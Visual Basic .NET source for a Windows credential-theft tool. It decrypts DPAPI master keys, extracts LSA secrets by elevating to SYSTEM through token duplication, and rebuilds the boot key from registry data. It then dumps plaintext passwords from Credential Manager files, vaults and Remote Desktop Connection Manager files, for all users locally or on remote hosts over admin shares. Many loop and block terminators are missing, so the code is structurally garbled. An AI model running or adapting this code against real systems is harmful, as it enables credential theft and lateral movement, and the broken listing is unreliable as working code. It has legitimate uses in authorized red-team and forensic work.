Dim files As String() = Directory.GetFiles(mydirectory)

For Each myfile As String In files

If Regex.IsMatch(myfile, "[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}") Then

Dim fileName As String = System.IO.Path.GetFileName(myfile)

If show Then

Console.WriteLine("[*] Found MasterKey : {0}", myfile)

End If

Dim masteyKeyBytes As Byte() = File.ReadAllBytes(myfile)

Try

Dim mapping As Dictionary(Of String, String) = DPAPI.DecryptMasterKey(masteyKeyBytes, backupKeyBytes)

'mapping.ToList().ForEach(Function(x) mappings.Add(x.Key, x.Value))

For Each MyMap In mapping

mappings.Add(MyMap.Key, MyMap.Value)

Catch e As Exception

Console.WriteLine("[X] Error triaging {0} : {1}", myfile, e.Message)

End Try

End If

Return mappings

End Function

Public Shared Function LoadKeysFromFolder(ByVal backupKeyBytes As Byte(), userDPAPIBasePath As String)

Dim mappings As Dictionary(Of String, String) = New Dictionary(Of String, String)()

If System.IO.Directory.Exists(userDPAPIBasePath) Then

Dim directories As String() = Directory.GetDirectories(userDPAPIBasePath)

For Each mydirectory As String In directories

Dim files As String() = Directory.GetFiles(mydirectory)

For Each myfile As String In files

If Regex.IsMatch(myfile, "[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}") Then

Dim fileName As String = System.IO.Path.GetFileName(myfile)

Console.WriteLine("[*] Found MasterKey : {0}", myfile)

Dim masteyKeyBytes As Byte() = File.ReadAllBytes(myfile)

Try

Dim mapping As Dictionary(Of String, String) = DPAPI.DecryptMasterKey(masteyKeyBytes, backupKeyBytes)

'mapping.ToList().ForEach(Function(x) mappings.Add(x.Key, x.Value))

For Each MyMap In mapping

mappings.Add(MyMap.Key, MyMap.Value)

Catch e As Exception

Console.WriteLine("[X] Error triaging {0} : {1}", myfile, e.Message)

End Try

End If

Return mappings

End Function

Public Shared Function TriageSystemMasterKeys(ByVal Optional show As Boolean = False) As Dictionary(Of String, String)

Dim mappings As Dictionary(Of String, String) = New Dictionary(Of String, String)()

If Helpers.IsHighIntegrity() Then

Dim keys As List(Of Byte()) = LSADump.GetDPAPIKeys(True)

Dim systemFolder As String = String.Format("{0}\Windows\System32\Microsoft\Protect\", Environment.GetEnvironmentVariable("SystemDrive"))

Dim systemDirs As String() = Directory.GetDirectories(systemFolder)

For Each mydirectory As String In systemDirs

Dim machineFiles As String() = Directory.GetFiles(mydirectory)

Dim userFiles As String() = Directory.GetFiles(String.Format("{0}\User\", mydirectory))

For Each myfile As String In machineFiles

If Regex.IsMatch(myfile, "[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}") Then

Dim fileName As String = System.IO.Path.GetFileName(myfile)

If show Then

Console.WriteLine("[*] Found SYSTEM system MasterKey : {0}", myfile)

End If

Dim masteyKeyBytes As Byte() = File.ReadAllBytes(myfile)

Try

Dim mapping As Dictionary(Of String, String) = DPAPI.DecryptMasterKeyWithSha(masteyKeyBytes, keys(0))

'mapping.ToList().ForEach(Function(x) mappings.Add(x.Key, x.Value))

For Each MyMap In mapping

mappings.Add(MyMap.Key, MyMap.Value)

Catch e As Exception

Console.WriteLine("[X] Error triaging {0} : {1}", myfile, e.Message)

End Try

End If

For Each myfile As String In userFiles

If Regex.IsMatch(myfile, "[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}") Then

Dim fileName As String = System.IO.Path.GetFileName(myfile)

If show Then

Console.WriteLine("[*] Found SYSTEM user MasterKey : {0}", myfile)

End If

Dim masteyKeyBytes As Byte() = File.ReadAllBytes(myfile)

Try

Dim mapping As Dictionary(Of String, String) = DPAPI.DecryptMasterKeyWithSha(masteyKeyBytes, keys(1))

'mapping.ToList().ForEach(Function(x) mappings.Add(x.Key, x.Value))

For Each MyMap In mapping

mappings.Add(MyMap.Key, MyMap.Value)

Catch e As Exception

Console.WriteLine("[X] Error triaging {0} : {1}", myfile, e.Message)

End Try

End If

Else

Console.WriteLine(vbCrLf & "[X] Must be elevated to triage SYSTEM masterkeys!" & vbCrLf)

End If

Return mappings

End Function

Public Shared Sub TriageUserCreds(ByVal MasterKeys As Dictionary(Of String, String), ByVal Optional computerName As String = "")

If Not String.IsNullOrEmpty(computerName) Then

Dim canAccess As Boolean = Helpers.TestRemote(computerName)

If Not canAccess Then

Return

End If

If Helpers.IsHighIntegrity() OrElse (Not String.IsNullOrEmpty(computerName) AndAlso Helpers.TestRemote(computerName)) Then

Console.WriteLine("[*] Triaging Credentials for ALL users" & vbCrLf)

Dim userFolder As String = ""

If Not String.IsNullOrEmpty(computerName) Then

userFolder = String.Format("\\{0}\C$\Users\", computerName)

Else

userFolder = String.Format("{0}\Users\", Environment.GetEnvironmentVariable("SystemDrive"))

End If

Dim dirs As String() = Directory.GetDirectories(userFolder)

For Each dir As String In dirs

Dim parts As String() = dir.Split("\"c)

Dim userName As String = parts(parts.Length - 1)

If Not (dir.EndsWith("Public") OrElse dir.EndsWith("Default") OrElse dir.EndsWith("Default User") OrElse dir.EndsWith("All Users")) Then

Dim userCredFilePath As String = String.Format("{0}\AppData\Local\Microsoft\Credentials\", dir)

TriageCredFolder(userCredFilePath, MasterKeys)

Dim userCredFilePath2 As String = String.Format("{0}\AppData\Roaming\Microsoft\Credentials\", dir)

TriageCredFolder(userCredFilePath2, MasterKeys)

End If

Else

Console.WriteLine("[*] Triaging Credentials for current user" & vbCrLf)

Dim userCredFilePath As String = String.Format("{0}\AppData\Local\Microsoft\Credentials\", System.Environment.GetEnvironmentVariable("USERPROFILE"))

TriageCredFolder(userCredFilePath, MasterKeys)

Dim userCredFilePath2 As String = String.Format("{0}\AppData\Roaming\Microsoft\Credentials\", System.Environment.GetEnvironmentVariable("USERPROFILE"))

TriageCredFolder(userCredFilePath2, MasterKeys)

End If

End Sub

Public Shared Sub TriageUserVaults(ByVal MasterKeys As Dictionary(Of String, String), ByVal Optional computerName As String = "")

If Not String.IsNullOrEmpty(computerName) Then

Dim canAccess As Boolean = Helpers.TestRemote(computerName)

If Not canAccess Then

Return

End If

If Helpers.IsHighIntegrity() OrElse (Not String.IsNullOrEmpty(computerName) AndAlso Helpers.TestRemote(computerName)) Then

Console.WriteLine("[*] Triaging Vaults for ALL users" & vbCrLf)

Dim userFolder As String = ""

If Not String.IsNullOrEmpty(computerName) Then

userFolder = String.Format("\\{0}\C$\Users\", computerName)

Else

userFolder = String.Format("{0}\Users\", Environment.GetEnvironmentVariable("SystemDrive"))

End If

Dim dirs As String() = Directory.GetDirectories(userFolder)

For Each dir As String In dirs

Dim parts As String() = dir.Split("\"c)

Dim userName As String = parts(parts.Length - 1)

If Not (dir.EndsWith("Public") OrElse dir.EndsWith("Default") OrElse dir.EndsWith("Default User") OrElse dir.EndsWith("All Users")) Then

Dim folderLocations As String() = {String.Format("{0}\AppData\Local\Microsoft\Vault\", dir), String.Format("{0}\AppData\Roaming\Microsoft\Vault\", dir)}

For Each location As String In folderLocations

If Directory.Exists(location) Then

Dim vaultDirs As String() = Directory.GetDirectories(location)

For Each vaultDir As String In vaultDirs

If Regex.IsMatch(vaultDir, "[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}") Then

TriageVaultFolder(vaultDir, MasterKeys)

End If

Else

Console.WriteLine("[*] Triaging Vaults for the current user" & vbCrLf)

Dim vaultPath As String = String.Format("{0}\AppData\Local\Microsoft\Vault\", System.Environment.GetEnvironmentVariable("USERPROFILE"))

If Directory.Exists(vaultPath) Then

Dim vaultDirs As String() = Directory.GetDirectories(vaultPath)

For Each vaultDir As String In vaultDirs

If Regex.IsMatch(vaultDir, "[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}") Then

TriageVaultFolder(vaultDir, MasterKeys)

End If

Dim vaultPath2 As String = String.Format("{0}\AppData\Roaming\Microsoft\Vault\", System.Environment.GetEnvironmentVariable("USERPROFILE"))

If Directory.Exists(vaultPath2) Then

Dim vaultDirs As String() = Directory.GetDirectories(vaultPath2)

For Each vaultDir As String In vaultDirs

If Regex.IsMatch(vaultDir, "[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}") Then

TriageVaultFolder(vaultDir, MasterKeys)

End If

End Sub

Public Shared Sub TriageSystemCreds(ByVal MasterKeys As Dictionary(Of String, String))

If Helpers.IsHighIntegrity() Then

Console.WriteLine(vbCrLf & "[*] Triaging System Credentials" & vbCrLf)

Dim folderLocations As String() = {String.Format("{0}\System32\config\systemprofile\AppData\Local\Microsoft\Credentials", Environment.GetEnvironmentVariable("SystemRoot")), String.Format("{0}\System32\config\systemprofile\AppData\Roaming\Microsoft\Credentials", Environment.GetEnvironmentVariable("SystemRoot")), String.Format("{0}\ServiceProfiles\LocalService\AppData\Local\Microsoft\Credentials", Environment.GetEnvironmentVariable("SystemRoot")), String.Format("{0}\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Credentials", Environment.GetEnvironmentVariable("SystemRoot")), String.Format("{0}\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Credentials", Environment.GetEnvironmentVariable("SystemRoot")), String.Format("{0}\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Credentials", Environment.GetEnvironmentVariable("SystemRoot"))}

For Each location As String In folderLocations

TriageCredFolder(location, MasterKeys)

Else

Console.WriteLine(vbCrLf & "[X] Must be elevated to triage SYSTEM credentials!" & vbCrLf)

End If

End Sub

Public Shared Sub TriageSystemVaults(ByVal MasterKeys As Dictionary(Of String, String))

If Helpers.IsHighIntegrity() Then

Console.WriteLine(vbCrLf & "[*] Triaging SYSTEM Vaults" & vbCrLf)

Dim folderLocations As String() = {String.Format("{0}\System32\config\systemprofile\AppData\Local\Microsoft\Vault", Environment.GetEnvironmentVariable("SystemRoot")), String.Format("{0}\System32\config\systemprofile\AppData\Roaming\Microsoft\Vault", Environment.GetEnvironmentVariable("SystemRoot")), String.Format("{0}\ServiceProfiles\LocalService\AppData\Local\Microsoft\Vault", Environment.GetEnvironmentVariable("SystemRoot")), String.Format("{0}\ServiceProfiles\LocalService\AppData\Roaming\Microsoft\Vault", Environment.GetEnvironmentVariable("SystemRoot")), String.Format("{0}\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Vault", Environment.GetEnvironmentVariable("SystemRoot")), String.Format("{0}\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Vault", Environment.GetEnvironmentVariable("SystemRoot"))}

For Each location As String In folderLocations

If Directory.Exists(location) Then

Dim vaultDirs As String() = Directory.GetDirectories(location)

For Each vaultDir As String In vaultDirs

If Regex.IsMatch(vaultDir, "[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}") Then

TriageVaultFolder(vaultDir, MasterKeys)

End If

Else

Console.WriteLine(vbCrLf & "[X] Must be elevated to triage SYSTEM vaults!" & vbCrLf)

End If

End Sub

Public Shared Sub TriageVaultFolder(ByVal folder As String, ByVal MasterKeys As Dictionary(Of String, String))

Dim policyFilePath As String = String.Format("{0}\Policy.vpol", folder)

If File.Exists(policyFilePath) Then

Console.WriteLine(vbCrLf & "[*] Triaging Vault folder: {0}", folder)

Dim policyBytes As Byte() = File.ReadAllBytes(policyFilePath)

Dim keys As ArrayList = DPAPI.DescribePolicy(policyBytes, MasterKeys)

If keys.Count > 0 Then

Dim vaultCredFiles As String() = Directory.GetFiles(folder)

If (vaultCredFiles IsNot Nothing) AndAlso (vaultCredFiles.Length <> 0) Then

For Each vaultCredFile As String In vaultCredFiles

Dim fileName As String = System.IO.Path.GetFileName(vaultCredFile)

If fileName.EndsWith("vcrd") Then

Dim vaultCredBytes As Byte() = File.ReadAllBytes(vaultCredFile)

Try

DPAPI.DescribeVaultCred(vaultCredBytes, keys)

Catch e As Exception

Console.WriteLine("[X] Error triaging {0} : {1}", vaultCredFile, e.Message)

End Try

End If

End Sub

Public Shared Sub TriageCredFolder(ByVal folder As String, ByVal MasterKeys As Dictionary(Of String, String))

If System.IO.Directory.Exists(folder) Then

Dim systemFiles As String() = Directory.GetFiles(folder)

If (systemFiles IsNot Nothing) AndAlso (systemFiles.Length <> 0) Then

Console.WriteLine(vbCrLf & "Folder : {0}" & vbCrLf, folder)

For Each file As String In systemFiles

Try

TriageCredFile(file, MasterKeys)

Catch e As Exception

Console.WriteLine("[X] Error triaging {0} : {1}", file, e.Message)

End Try

Else

End If

Else

End If

End Sub

Public Shared Sub TriageCredFile(ByVal credFilePath As String, ByVal MasterKeys As Dictionary(Of String, String))

Dim fileName As String = System.IO.Path.GetFileName(credFilePath)

Console.WriteLine(" CredFile : {0}" & vbCrLf, fileName)

Dim credentialArray As Byte() = File.ReadAllBytes(credFilePath)

Try

DPAPI.DescribeCredential(credentialArray, MasterKeys)

Catch e As Exception

Console.WriteLine("[X] Error triaging {0} : {1}", credFilePath, e.Message)

End Try

Console.WriteLine()

End Sub

Public Shared Sub TriageRDCMan(ByVal MasterKeys As Dictionary(Of String, String), ByVal Optional computerName As String = "", ByVal Optional unprotect As Boolean = False)

If Not String.IsNullOrEmpty(computerName) Then

Dim canAccess As Boolean = Helpers.TestRemote(computerName)

If Not canAccess Then

Return

End If

If Helpers.IsHighIntegrity() OrElse (Not String.IsNullOrEmpty(computerName) AndAlso Helpers.TestRemote(computerName)) Then

Console.WriteLine("[*] Triaging RDCMan.settings Files for ALL users" & vbCrLf)

Dim userFolder As String = ""

If Not String.IsNullOrEmpty(computerName) Then

userFolder = String.Format("\\{0}\C$\Users\", computerName)

Else

userFolder = String.Format("{0}\Users\", Environment.GetEnvironmentVariable("SystemDrive"))

End If

Dim dirs As String() = Directory.GetDirectories(userFolder)

For Each dir As String In dirs

Dim parts As String() = dir.Split("\"c)

Dim userName As String = parts(parts.Length - 1)

If Not (dir.EndsWith("Public") OrElse dir.EndsWith("Default") OrElse dir.EndsWith("Default User") OrElse dir.EndsWith("All Users")) Then

Dim userRDManFile As String = String.Format("{0}\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings", dir)

TriageRDCManFile(MasterKeys, userRDManFile, unprotect)

End If

Else

Console.WriteLine("[*] Triaging RDCMan Settings Files for current user" & vbCrLf)

Dim userName As String = Environment.GetEnvironmentVariable("USERNAME")

Dim userRDManFile As String = String.Format("{0}\AppData\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings", System.Environment.GetEnvironmentVariable("USERPROFILE"))

TriageRDCManFile(MasterKeys, userRDManFile, unprotect)

End If

End Sub

Public Shared Sub TriageRDCManFile(ByVal MasterKeys As Dictionary(Of String, String), ByVal rdcManFile As String, ByVal Optional unprotect As Boolean = False)

If System.IO.File.Exists(rdcManFile) Then

Dim lastAccessed As DateTime = System.IO.File.GetLastAccessTime(rdcManFile)

Dim lastModified As DateTime = System.IO.File.GetLastWriteTime(rdcManFile)

Dim xmlDoc As XmlDocument = New XmlDocument()

xmlDoc.Load(rdcManFile)

Console.WriteLine(" RDCManFile : {0}", rdcManFile)

Console.WriteLine(" Accessed : {0}", lastAccessed)

Console.WriteLine(" Modified : {0}", lastModified)

Dim recentlyUsed As XmlNodeList = xmlDoc.GetElementsByTagName("recentlyUsed")

If recentlyUsed(0)("server") IsNot Nothing Then

Dim recentlyUsedServer As String = recentlyUsed(0)("server").InnerText

Console.WriteLine(" Recent Server : {0}", recentlyUsedServer)

End If

Dim credProfileNodes As XmlNodeList = xmlDoc.GetElementsByTagName("credentialsProfile")

If (credProfileNodes IsNot Nothing) AndAlso (credProfileNodes.Count <> 0) Then

Console.WriteLine(vbCrLf & " Cred Profiles")

End If

For Each credProfileNode As XmlNode In credProfileNodes

Console.WriteLine()

DisplayCredProfile(MasterKeys, credProfileNode, unprotect)

Dim logonCredNodes As XmlNodeList = xmlDoc.GetElementsByTagName("logonCredentials")

If (logonCredNodes IsNot Nothing) AndAlso (logonCredNodes.Count <> 0) Then

Console.WriteLine(vbCrLf & " Default Logon Credentials")

End If

For Each logonCredNode As XmlNode In logonCredNodes

Console.WriteLine()

DisplayCredProfile(MasterKeys, logonCredNode, unprotect)

Dim filesToOpen As XmlNodeList = xmlDoc.GetElementsByTagName("FilesToOpen")

Dim items As XmlNodeList = filesToOpen(0).ChildNodes

For Each rdgFile As XmlNode In items

If Interop.PathIsUNC(rdcManFile) Then

If Not Interop.PathIsUNC(rdgFile.InnerText) Then

Dim computerName As String = rdcManFile.Split({"\"c}, StringSplitOptions.RemoveEmptyEntries)(0)

Dim rdgUncPath As String = Helpers.ConvertLocalPathToUNCPath(computerName, rdgFile.InnerText)

TriageRDGFile(MasterKeys, rdgUncPath, unprotect)

Else

TriageRDGFile(MasterKeys, rdgFile.InnerText, unprotect)

End If

Else

TriageRDGFile(MasterKeys, rdgFile.InnerText, unprotect)

End If

Console.WriteLine()

Else

End If

End Sub

Public Shared Sub DisplayCredProfile(ByVal MasterKeys As Dictionary(Of String, String), ByVal credProfileNode As XmlNode, ByVal Optional unprotect As Boolean = False)

Dim profileName As String = credProfileNode("profileName").InnerText

If credProfileNode("userName") Is Nothing Then

Console.WriteLine(" Cred Profile : {0}", profileName)

Else

Dim userName As String = credProfileNode("userName").InnerText.Trim()

Dim domain As String = credProfileNode("domain").InnerText.Trim()

Dim b64Password As String = credProfileNode("password").InnerText

Dim password As String = ""

Dim fullUserName As String = ""

If String.IsNullOrEmpty(domain) Then

fullUserName = userName

Else

fullUserName = String.Format("{0}\{1}", domain, userName)

End If

Console.WriteLine(" Profile Name : {0}", profileName)

Console.WriteLine(" UserName : {0}", fullUserName)

Dim passwordDPAPIbytes As Byte() = Convert.FromBase64String(b64Password)

If passwordDPAPIbytes.Length > 0 Then

Dim decBytesRaw As Byte() = DPAPI.DescribeDPAPIBlob(passwordDPAPIbytes, MasterKeys, "rdg", unprotect)

If decBytesRaw.Length <> 0 Then

Dim finalIndex As Integer = Array.LastIndexOf(decBytesRaw, CByte(0))

If finalIndex > 1 Then

Dim decBytes As Byte() = New Byte(finalIndex + 1 - 1) {}

Array.Copy(decBytesRaw, 0, decBytes, 0, finalIndex)

password = Encoding.Unicode.GetString(decBytes)

Else

password = Encoding.ASCII.GetString(decBytesRaw)

End If

Console.WriteLine(" Password : {0}", password)

End If

End Sub

Public Shared Sub TriageRDGFile(ByVal MasterKeys As Dictionary(Of String, String), ByVal rdgFilePath As String, ByVal Optional unprotect As Boolean = False)

If System.IO.File.Exists(rdgFilePath) Then

Console.WriteLine(vbCrLf & " {0}", rdgFilePath)

Dim xmlDoc As XmlDocument = New XmlDocument()

xmlDoc.Load(rdgFilePath)

Dim credProfileNodes As XmlNodeList = xmlDoc.GetElementsByTagName("credentialsProfile")

If (credProfileNodes IsNot Nothing) AndAlso (credProfileNodes.Count <> 0) Then

Console.WriteLine(vbCrLf & " Cred Profiles")

End If

For Each credProfileNode As XmlNode In credProfileNodes

Console.WriteLine()

DisplayCredProfile(MasterKeys, credProfileNode, unprotect)

Dim servers As XmlNodeList = xmlDoc.GetElementsByTagName("server")

If (servers IsNot Nothing) AndAlso (servers.Count <> 0) Then

Console.WriteLine(vbCrLf & " Servers")

End If

For Each server As XmlNode In servers

Try

If (server("properties")("name") IsNot Nothing) Then

If server("properties")("displayName") IsNot Nothing Then

Console.WriteLine(vbCrLf & " Name : {0} ({1})", server("properties")("name").InnerText, server("properties")("displayName").InnerText)

Else

Console.WriteLine(vbCrLf & " Name : {0}", server("properties")("name").InnerText)

End If

If server("logonCredentials") IsNot Nothing Then

DisplayCredProfile(MasterKeys, server("logonCredentials"), unprotect)

End If

Catch e As Exception

Console.WriteLine("Exception: {0}", e)

End Try

Else

Console.WriteLine(vbCrLf & " [X] .RDG file '{0}' is not accessible or doesn't exist!", rdgFilePath)

End If

End Sub

Public Shared Sub TriageRDGFolder(ByVal MasterKeys As Dictionary(Of String, String), ByVal folder As String, ByVal unprotect As Boolean)

If System.IO.Directory.Exists(folder) Then

Dim systemFiles As String() = Directory.GetFiles(folder)

If (systemFiles IsNot Nothing) AndAlso (systemFiles.Length <> 0) Then

Console.WriteLine(vbCrLf & "Folder : {0}" & vbCrLf, folder)

For Each file As String In systemFiles

If file.EndsWith(".rdg") Then

Try

TriageRDGFile(MasterKeys, file, unprotect)

Catch e As Exception

Console.WriteLine("[X] Error triaging {0} : {1}", file, e.Message)

End Try

End If

Else

End If

Else

End If

End Sub

End Class

Public Class LSADump

Public Shared Function GetDPAPIKeys(ByVal Optional show As Boolean = False) As List(Of Byte())

Dim dpapiKeys = New List(Of Byte())

Dim dpapiKeyFull = GetLSASecret("DPAPI_SYSTEM")

Dim dpapiKeyMachine = New Byte(19) {}

Dim dpapiKeyUser = New Byte(19) {}

Array.Copy(dpapiKeyFull, 0, dpapiKeyMachine, 0, 20)

Array.Copy(dpapiKeyFull, 20, dpapiKeyUser, 0, 20)

dpapiKeys.Add(dpapiKeyMachine)

dpapiKeys.Add(dpapiKeyUser)

If show Then

Console.WriteLine("[*] Secret : DPAPI_SYSTEM")

Console.WriteLine("[*] full: {0}", BitConverter.ToString(dpapiKeyFull).Replace("-", ""))

Console.WriteLine("[*] m/u : {0} / {1}" & vbCrLf, BitConverter.ToString(dpapiKeyMachine).Replace("-", ""), BitConverter.ToString(dpapiKeyUser).Replace("-", ""))

Console.WriteLine("[*] full: {0}", Convert.ToBase64String(Encoding.ASCII.GetBytes(BitConverter.ToString(dpapiKeyFull).Replace("-", "")), Base64FormattingOptions.None))

Console.WriteLine("[*] m/u : {0} / {1}" & vbCrLf, Convert.ToBase64String(Encoding.ASCII.GetBytes(BitConverter.ToString(dpapiKeyMachine).Replace("-", "")), Base64FormattingOptions.None), Convert.ToBase64String(Encoding.ASCII.GetBytes(BitConverter.ToString(dpapiKeyUser).Replace("-", "")), Base64FormattingOptions.None))

End If

Return dpapiKeys

End Function

Public Shared Function GetLSASecret(ByVal secretName As String) As Byte()

Dim alreadySystem = False

If Not Helpers.IsHighIntegrity Then

Console.WriteLine("[X] You need to be in high integrity to extract LSA secrets!")

Return Nothing

Else

Dim currentName As String = Principal.WindowsIdentity.GetCurrent.Name

If currentName Is "NT AUTHORITY\SYSTEM" Then

alreadySystem = True

Else

Console.WriteLine("[*] Elevating to SYSTEM via token duplication for LSA secret retrieval")

Helpers.GetSystem()

End If

Dim LSAKey = GetLSAKey()

Dim keyPath = String.Format("SECURITY\Policy\Secrets\{0}\CurrVal", secretName)

Dim keyData As Byte() = Helpers.GetRegKeyValue(keyPath)

Dim keyEncryptedData = New Byte(keyData.Length - 28 - 1) {}

Array.Copy(keyData, 28, keyEncryptedData, 0, keyEncryptedData.Length)

Dim keyEncryptedDataEncryptedKey = New Byte(31) {}

Array.Copy(keyEncryptedData, 0, keyEncryptedDataEncryptedKey, 0, 32)

Dim tmpKey As Byte() = Crypto.LSASHA256Hash(LSAKey, keyEncryptedDataEncryptedKey)

Dim keyEncryptedDataRemainder = New Byte(keyEncryptedData.Length - 32 - 1) {}

Array.Copy(keyEncryptedData, 32, keyEncryptedDataRemainder, 0, keyEncryptedDataRemainder.Length)

Dim IV = New Byte(15) {}

Dim keyPathPlaintext As Byte() = Crypto.LSAAESDecrypt(tmpKey, keyEncryptedDataRemainder)

If Not alreadySystem Then

Console.WriteLine("[*] RevertToSelf()" & vbCrLf)

Interop.RevertToSelf()

End If

If secretName.Equals("DPAPI_SYSTEM") Then

Dim secret = New Byte(39) {}

Array.Copy(keyPathPlaintext, 20, secret, 0, 40)

Return secret

Else

Console.WriteLine("[X] LSA Secret '{0}' not yet implemented!", secretName)

Return Nothing

End If

End Function

Public Shared Function GetLSAKey() As Byte()

Dim bootkey = GetBootKey()

Dim LSAKeyEncryptedStruct As Byte() = Helpers.GetRegKeyValue("SECURITY\Policy\PolEKList")

Dim LSAEncryptedData = New Byte(LSAKeyEncryptedStruct.Length - 28 - 1) {}

Array.Copy(LSAKeyEncryptedStruct, 28, LSAEncryptedData, 0, LSAEncryptedData.Length)

Dim LSAEncryptedDataEncryptedKey = New Byte(31) {}

Array.Copy(LSAEncryptedData, 0, LSAEncryptedDataEncryptedKey, 0, 32)

Dim tmpKey As Byte() = Crypto.LSASHA256Hash(bootkey, LSAEncryptedDataEncryptedKey)

Dim LSAEncryptedDataRemainder = New Byte(LSAEncryptedData.Length - 32 - 1) {}

Array.Copy(LSAEncryptedData, 32, LSAEncryptedDataRemainder, 0, LSAEncryptedDataRemainder.Length)

Dim IV = New Byte(15) {}

Dim LSAKeyStructPlaintext As Byte() = Crypto.LSAAESDecrypt(tmpKey, LSAEncryptedDataRemainder)

Dim LSAKey = New Byte(31) {}

Array.Copy(LSAKeyStructPlaintext, 68, LSAKey, 0, 32)

Return LSAKey

End Function

Public Shared Function GetBootKey() As Byte()

Dim scrambledKey = New StringBuilder

For Each key In New String() {"JD", "Skew1", "GBG", "Data"}

Dim keyPath = String.Format("SYSTEM\CurrentControlSet\Control\Lsa\{0}", key)

Dim classVal = New StringBuilder(1024)

Dim len = 1024

Dim result = 0

Dim hKey = IntPtr.Zero

Dim dummy = IntPtr.Zero

result = Interop.RegOpenKeyEx(&H80000002UL, keyPath, 0, &H19, hKey)

If result <> 0 Then

Dim [error] = Marshal.GetLastWin32Error

Dim errorMessage As String = New Win32Exception([error]).Message

Console.WriteLine("Error opening {0} ({1}) : {2}", keyPath, [error], errorMessage)

Return Nothing

End If

result = Interop.RegQueryInfoKey(hKey, classVal, len, 0, dummy, dummy, dummy, dummy, dummy, dummy, dummy, IntPtr.Zero)

If result <> 0 Then

Dim [error] = Marshal.GetLastWin32Error

Dim errorMessage As String = New Win32Exception([error]).Message

Console.WriteLine("Error enumerating {0} ({1}) : {2}", keyPath, [error], errorMessage)

Return Nothing

End If

Interop.RegCloseKey(hKey)

scrambledKey.Append(classVal)

Dim skey As Byte() = Helpers.StringToByteArray(scrambledKey.ToString)

Dim descramble = New Byte() {&H8, &H5, &H4, &H2, &HB, &H9, &HD, &H3, &H0, &H6, &H1, &HC, &HE, &HA, &HF, &H7}

Dim bootkey = New Byte(15) {}

For i = 0 To bootkey.Length - 1

bootkey(i) = skey(descramble(i))

Return bootkey

End Function

End Class